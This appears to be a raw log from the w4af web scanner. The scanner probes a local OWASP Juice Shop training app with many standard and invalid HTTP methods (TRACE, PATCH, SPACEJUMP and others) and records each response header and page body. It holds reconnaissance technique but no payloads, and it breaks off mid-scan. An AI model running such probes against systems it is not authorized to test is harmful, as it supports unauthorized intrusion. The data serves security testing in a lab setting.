b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
SPACEJUMP http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
HEAD http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 3748\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:36 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n' b''
INDEX http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
LABEL http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
INVALID http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
TRACE http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:36 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
VERSION_CONTROL http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
SUBSCRIBE http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:36 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
BASELINE_CONTROL http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
REPORT http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
PATCH http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
POLL http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
NOTIFY http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
MOVE http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
